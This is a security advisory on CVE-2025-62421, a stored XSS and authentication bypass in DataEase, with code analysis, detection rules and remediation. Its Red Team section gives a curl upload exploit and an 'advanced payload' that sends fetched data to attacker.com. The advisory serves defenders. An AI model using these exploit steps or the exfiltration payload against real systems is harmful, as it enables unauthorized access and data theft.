CVE-2025-62421

Executive Summary

CVE-2025-62421 is a stored cross-site scripting (XSS) vulnerability in DataEase, an open-source data visualization and analytics platform. The flaw resides in the StaticResourceApi interface, specifically the upload/{fileId} route. Due to improper file upload validation and a flawed authentication bypass mechanism, an attacker can upload arbitrary files (e.g., HTML files containing malicious JavaScript) by manipulating the URL path extension. The TokenFilter uses a whitelist check that considers any request ending with .js or similar extensions as safe, bypassing permission validation. This allows unauthenticated attackers to upload and serve malicious content, leading to stored XSS attacks. The vulnerability affects all versions up to and including 2.10.13. The fix is available in version 2.10.14.

Supply Chain & Package Security

DataEase is a Java-based application distributed via GitHub and Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own code. However, organizations using DataEase should verify the integrity of their deployment artifacts and ensure they are sourced from the official repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit the malicious page
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows stored XSS, which can lead to session hijacking, data theft, or defacement. The authentication bypass makes exploitation easier, but user interaction is required.

Deep Dive & Mechanics

The vulnerability is a combination of two issues:

1. Authentication Bypass via Whitelist: The TokenFilter uses WhitelistUtils#match to check if the request URI is in an allowlist. The check is flawed: if the URI ends with .js or similar extensions, it is considered safe and bypasses authentication. An attacker can craft a request like upload/1.js to bypass authentication, even if the actual file is an HTML file.

2. Improper File Upload Validation: The StaticResourceApi interface defines a route upload/{fileId} where the filename and extension are taken directly from the URL path. There is no validation to ensure the uploaded file is of an allowed type. An attacker can upload an HTML file containing malicious JavaScript by specifying a .js extension in the URL, but the file content is arbitrary.

Attack Flow:

1. Attacker sends a POST request to /upload/1.js with a malicious HTML payload (e.g., <script>alert('XSS')</script>).
2. The TokenFilter sees the URI ends with .js and bypasses authentication.
3. The file is stored on the server.
4. Attacker then sends a GET request to /upload/1.js (or the actual file path) to serve the malicious HTML.
5. A victim visiting that URL executes the malicious script in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (DataEase <= 2.10.13):

// TokenFilter.java
public class TokenFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) {
        String requestURI = request.getRequestURI();
        if (WhitelistUtils.match(requestURI)) {
            chain.doFilter(request, response);
            return;
        }
        // ... authentication logic
    }
}

// WhitelistUtils.java
public class WhitelistUtils {
    public static boolean match(String uri) {
        // Flawed: checks only the extension
        return uri.endsWith(".js") || uri.endsWith(".css") || uri.endsWith(".png");
    }
}

Patched Code (DataEase >= 2.10.14):

// WhitelistUtils.java
public class WhitelistUtils {
    public static boolean match(String uri) {
        // Now checks the full path against a list of allowed static resources
        return allowedStaticResources.contains(uri);
    }
}

The patch removes the extension-based whitelist and instead uses a list of allowed static resource paths. Additionally, file upload validation is added to ensure only safe file types (e.g., images) are accepted.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable DataEase instance (version <= 2.10.13) accessible over the network.
• No authentication required for the exploit.

Exploit Steps:

1. Upload Malicious File:

   curl -X POST "http://target.com/upload/1.js" \
        -H "Content-Type: multipart/form-data" \
        -F "file=@malicious.html"
   

   Where malicious.html contains:

   <html>
   <body>
   <script>alert('XSS');</script>
   </body>
   </html>
   

2. Trigger the XSS: Send the victim a link to http://target.com/upload/1.js. The browser will render the HTML and execute the script.

Advanced Payload:

<html>
<body>
<script>
fetch('/api/sensitive-data').then(r => r.text()).then(data => {
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
});
</script>
</body>
</html>

Blue Team

Detection:

• Monitor for POST requests to /upload/*.js or similar paths with unusual file extensions.
• Look for GET requests to /upload/*.js that return HTML content (Content-Type: text/html).
• Check server logs for files with .js extension that are actually HTML.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/upload/*.js" AND method=POST
| table _time, src_ip, uri, status

Prevention:

• Apply the patch immediately (upgrade to 2.10.14).
• If patching is not possible, implement a WAF rule to block uploads to /upload/*.js unless the file is actually JavaScript.
• Restrict file uploads to specific directories and validate file content (magic bytes).

Indicators of Compromise (IOCs)

• File Paths: /upload/*.js (where the file is actually HTML)
• Network Traffic: POST requests to /upload/ with unusual file extensions (e.g., .js, .html, .svg)
• Log Entries: POST /upload/1.js followed by GET /upload/1.js with a non-JavaScript Content-Type
• File Hashes: Any uploaded file with a .js extension but containing HTML/JavaScript code (hash varies)

Detection Engineering

YARA Rule

rule CVE_2025_62421_DataEase_XSS {
    meta:
        description = "Detects malicious HTML files uploaded via CVE-2025-62421"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62421"
    strings:
        $html_tag = "<html" nocase
        $script_tag = "<script" nocase
        $body_tag = "<body" nocase
    condition:
        $html_tag and $script_tag and $body_tag and filesize < 10KB
}

Sigma Rule

title: DataEase Stored XSS via Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-62421
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/upload/'
        cs-uri-stem|endswith: '.js'
    condition: selection
falsepositives:
    - Legitimate JavaScript file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62421 DataEase Stored XSS Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload/"; http.uri; content:".js"; pcre:"/\.js$/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to DataEase version 2.10.14 or later.
• If upgrade is not possible, implement a WAF rule to block POST requests to /upload/*.js and similar paths.
• Restrict file uploads to specific directories and validate file content using magic bytes.

Long-term:

• Conduct a security audit of the authentication bypass logic.
• Implement proper file upload validation (type, size, content).
• Use a whitelist of allowed static resource paths instead of extension-based checks.

Workarounds:

• No official workarounds exist. The only solution is to upgrade.

Valters IT